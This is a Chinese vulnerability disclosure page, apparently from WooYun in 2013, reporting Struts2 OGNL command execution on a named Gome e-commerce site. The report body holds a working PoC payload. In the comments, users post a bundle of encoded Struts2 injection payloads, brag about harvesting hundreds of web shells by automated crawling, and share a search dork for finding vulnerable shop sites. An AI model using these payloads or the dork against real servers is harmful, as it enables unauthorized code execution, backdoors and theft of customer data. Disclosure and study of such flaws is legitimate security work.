漏洞概要
关注数(24)
关注此漏洞
漏洞标题:struts2之国美(某分站)命令执行 2
提交时间:2013-06-05 10:36
修复时间:2013-06-10 10:36
公开时间:2013-06-10 10:36
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情
披露状态:
2013-06-05: 细节已通知厂商并且等待厂商处理中
2013-06-10: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
不是之前的2010.\43 post绕过. CVE-2011-3923 的利用。
详细说明:
国美销售网
http://www.gomesell.com/
原理是:ognl的执行顺序。 表达式执行。
poc:
class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,#req=@org.apache.struts2.ServletActionContext@getRequest(),#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#outstr.println(#req.getRealPath("/")),#outstr.close())(meh)&z[(class.classLoader.jarPath)('meh')]
这个也是root 权限,可shell,可后门。保护电商数据使我们猥琐流马甲党的一贯作风。危害也是一样,还是那句话 电商大战 赶紧把漏洞修补了,不要只追求业绩。
漏洞证明:
修复方案:
升级struts2到2.3.1.2以及以上版本 赶紧升到新版本。两个了 可以小礼物意思下,哈哈。写爬虫也耗费点时间的,哈。
版权声明:转载请注明来源 摄影会长@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2013-06-10 10:36
厂商回复:
最新状态:
暂无
漏洞评价:
评论
-
2013-06-05 10:40 |
摄影会长 ( 实习白帽子 | Rank:81 漏洞数:14 | 我是马甲!)
-
2013-06-05 15:18 |
园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
-
2013-06-05 15:56 |
摄影会长 ( 实习白帽子 | Rank:81 漏洞数:14 | 我是马甲!)
@园长 呵呵,你也写爬虫爬啊。漏洞没有那么多,光写exp 没用哦,重在爬。
-
2013-06-05 16:37 |
园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
@摄影会长 我会告诉你我十分钟就爬了几百个shell么?可是拿那玩意刷RANK有点太....
-
2013-06-05 16:57 |
livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)
@园长 几百个呀。有几个是重要的呢。 搜狐 和华为 我爬了近十万条连接,才有3个。更何况你还是用sleep ,自己试试嘛。
-
2013-06-05 17:02 |
摄影会长 ( 实习白帽子 | Rank:81 漏洞数:14 | 我是马甲!)
@livers 深有感触 我没爬你这么多 调用了多个引擎爬的,漏洞就是报告呀,@园长 我只是个搞摄影的。
-
2013-06-05 17:09 |
园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
@livers ('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43xman.getWriter().println(%22[/ok]%22)')(d))&(i99)(('\43xman.getWriter().close()')(d))'%2b(%23_memberAccess[%22allowStaticMethodAccess%22]=true,@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))%2b'参数=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[%22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22))&z[(参数)('meh')]=trueclass.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_memberAccess%5b%22allowStaticMethodAccess%22%5d=true,%23s3cur1ty=%40org.apache.struts2.ServletActionContext%40getResponse().getWriter(),%23s3cur1ty.println(%22[/ok]%22),%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23response=@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(%22[/ok]%22),%23response.close()}
-
2013-06-05 17:14 |
园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
@livers 我发的哪个是用来忽悠人的,自己玩的当然要全自动的。
-
2013-06-05 19:29 |
园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
@livers 偷偷告诉你要有关键字比如:inurl:shop/member!passwordRecover.action 试下你就知道我没吹牛了。
-
2013-07-01 21:29 |
小E ( 实习白帽子 | Rank:31 漏洞数:12 )
@园长 shop++ jeecms之类的关键字就别拿出来丢人现眼了。